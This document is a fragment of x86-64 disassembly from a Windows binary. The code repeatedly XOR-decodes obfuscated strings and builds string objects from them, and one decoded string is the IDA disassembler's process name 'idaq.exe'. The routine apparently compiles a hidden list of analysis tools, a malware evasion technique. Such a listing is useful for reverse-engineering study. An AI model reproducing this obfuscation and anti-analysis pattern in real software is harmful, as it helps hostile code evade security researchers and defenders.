lea rcx, [rbp + 0x1750]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x928]
lea rcx, [rsp + 0x6b]
call fcn.1400e9180
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rdx + 0x10], r8b
mov byte [rdx + 0x11], 0
lea rcx, [rbp + 0x1770]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x5e0]
lea rcx, [rsp + 0x6c]
call fcn.1400e91d0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rdx + 0xd], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rbp + 0x1790]
call fcn.140046ed0
nop
mov dword [rsp + 0x30], 0x61646922
mov dword [rsp + 0x34], 0x78652e71
mov word [rsp + 0x38], 0x65
lea rdx, [rsp + 0x31]
lea rcx, [rbp + 0x17b0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x190]
lea rcx, [rsp + 0x6d]
call fcn.1400e9210
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x17d0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x5f0]
lea rcx, [rsp + 0x6e]
call fcn.1400e9250
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rdx + 0xd], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rbp + 0x17f0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x600]
lea rcx, [rsp + 0x6f]
call fcn.1400e9290
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rdx + 0xd], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rbp + 0x1810]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x940]
lea rcx, [rsp + 0x70]
call fcn.1400e92d0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rdx + 0x10], r8b
mov byte [rdx + 0x11], 0
lea rcx, [rbp + 0x1830]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rsp + 0x71]
call fcn.1400e9320
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1850]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x748]
lea rcx, [rsp + 0x72]
call fcn.1400ddff0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rdx + 0xe], r8b
mov byte [rdx + 0xf], 0
lea rcx, [rbp + 0x1870]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x610]
lea rcx, [rsp + 0x73]
call fcn.1400e9360
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rdx + 0xd], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rbp + 0x1890]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x620]
lea rcx, [rsp + 0x74]
call fcn.1400e93a0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rdx + 0xd], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rbp + 0x18b0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x410]
lea rcx, [rsp + 0x75]
call fcn.1400e93e0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
mov byte [rax + 0xd], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x18d0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x5a0]
lea rcx, [rsp + 0x76]
call fcn.1400e9420
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rdx + 0xd], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rbp + 0x18f0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x640]
lea rcx, [rsp + 0x77]
call fcn.1400e9460
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rdx + 0xd], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rbp + 0x1910]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x1b0]
lea rcx, [rsp + 0x78]
call fcn.1400e94a0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1930]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x760]
lea rcx, [rsp + 0x79]
call fcn.1400e94e0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rdx + 0xe], r8b
mov byte [rdx + 0xf], 0
lea rcx, [rbp + 0x1950]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x420]
lea rcx, [rsp + 0x7a]
call fcn.1400e9520
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
mov byte [rax + 0xd], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1970]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x650]
lea rcx, [rsp + 0x7b]
call fcn.1400e9560
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rdx + 0xd], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rbp + 0x1990]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x880]
lea rcx, [rsp + 0x7c]
call fcn.1400e95a0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rdx + 0xf], r8b
mov byte [rdx + 0x10], 0
lea rcx, [rbp + 0x19b0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x430]
lea rcx, [rsp + 0x7d]
call fcn.1400e95e0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
mov byte [rax + 0xd], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x19d0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x778]
lea rcx, [rsp + 0x7e]
call fcn.1400e9620
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rdx + 0xe], r8b
mov byte [rdx + 0xf], 0
lea rcx, [rbp + 0x19f0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x660]
lea rcx, [rsp + 0x7f]
call fcn.1400e9660
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rdx + 0xd], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rbp + 0x1a10]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x898]
lea rcx, [rbp - 0x80]
call fcn.1400e96a0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rdx + 0xf], r8b
mov byte [rdx + 0x10], 0
lea rcx, [rbp + 0x1a30]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x670]
lea rcx, [rbp - 0x7f]
call fcn.1400e96e0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rdx + 0xd], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rbp + 0x1a50]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x8b0]
lea rcx, [rbp - 0x7e]
call fcn.1400e9720
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rdx + 0xf], r8b
mov byte [rdx + 0x10], 0
lea rcx, [rbp + 0x1a70]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x680]
lea rcx, [rbp - 0x7d]
call fcn.1400e9760
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rdx + 0xd], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rbp + 0x1a90]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x690]
lea rcx, [rbp - 0x7c]
call fcn.1400e97a0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rdx + 0xd], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rbp + 0x1ab0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x300]
lea rcx, [rbp - 0x7b]
call fcn.1400e97e0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1ad0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x790]
lea rcx, [rbp - 0x7a]
call fcn.1400e9820
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rdx + 0xe], r8b
mov byte [rdx + 0xf], 0
lea rcx, [rbp + 0x1af0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp - 0x79]
call fcn.1400e9860
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rdx + 0xd], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rbp + 0x1b10]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x958]
lea rcx, [rbp - 0x78]
call fcn.1400e98a0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rdx + 0x10], r8b
mov byte [rdx + 0x11], 0
lea rcx, [rbp + 0x1b30]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x970]
lea rcx, [rbp - 0x77]
call fcn.1400e98f0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rdx + 0x10], r8b
mov byte [rdx + 0x11], 0
lea rcx, [rbp + 0x1b50]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x7a8]
lea rcx, [rbp - 0x76]
call fcn.1400e9940
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rdx + 0xe], r8b
mov byte [rdx + 0xf], 0
lea rcx, [rbp + 0x1b70]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp - 0x75]
call fcn.1400e9980
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rdx + 0xd], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rbp + 0x1b90]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x74]
call fcn.1400e99c0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1bb0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x8c8]
lea rcx, [rbp - 0x73]
call fcn.1400e9a00
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rdx + 0xf], r8b
mov byte [rdx + 0x10], 0
lea rcx, [rbp + 0x1bd0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp - 0x72]
call fcn.1400e9a40
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rdx + 0xe], r8b
mov byte [rdx + 0xf], 0
lea rcx, [rbp + 0x1bf0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x630]
lea rcx, [rbp - 0x71]
call fcn.1400e9a80
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rdx + 0xd], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rbp + 0x1c10]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x988]
lea rcx, [rbp - 0x70]
call fcn.1400e9ac0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rdx + 0x10], r8b
mov byte [rdx + 0x11], 0
lea rcx, [rbp + 0x1c30]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp - 0x6f]
call fcn.1400e9b10
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1c50]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp - 0x6e]
call fcn.1400e9b50
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1c70]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x110]
lea rcx, [rbp - 0x6d]
call fcn.1400e9b90
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
mov byte [rax + 0xa], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1c90]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x120]
lea rcx, [rbp - 0x6c]
call fcn.1400e9bd0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
mov byte [rax + 0xa], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1cb0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x320]
lea rcx, [rbp - 0x6b]
call fcn.1400e9c10
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1cd0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x330]
lea rcx, [rbp - 0x6a]
call fcn.1400e9c50
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1cf0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x130]
lea rcx, [rbp - 0x69]
call fcn.1400e9c90
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
mov byte [rax + 0xa], 0
lea rdx, [rax + 1]
